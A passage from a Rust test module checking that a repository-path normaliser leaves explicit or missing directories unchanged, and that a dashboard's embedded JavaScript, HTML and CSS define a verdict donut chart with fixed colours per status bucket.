16363        // flag's own unmodified `.` default is ever eligible for discovery.
16364        let dir = tempfile::tempdir().expect("tempdir");
16365        let explicit = dir.path().join("not-a-checkout");
16366        std::fs::create_dir_all(&explicit).expect("create dir");
16367        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16368
16369        let missing = dir.path().join("does-not-exist-at-all");
16370        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16371    }
16372
16373    #[test]
16374    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16375        assert!(APP_JS.contains("function statsDonutArcs"));
16376        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16377        // A bucket click filters by the statuses src/stats.rs counts in it.
16378        assert!(APP_JS.contains("function statusInBucket"));
16379        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16380        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16381        let buckets = [
16382            "merged",
16383            "ready",
16384            "in_progress",
16385            "blocked",
16386            "failed",
16387            "verified_noop",
16388            "superseded",
16389            "stalled",
16390        ];
16391        for key in buckets {
16392            let var = format!("--verdict-{key}:");
16393            // Light, OS-dark and pinned-dark blocks each define it.
16394            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16395            assert!(
16396                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16397                "{key}"
16398            );
16399        }
16400    }
16401}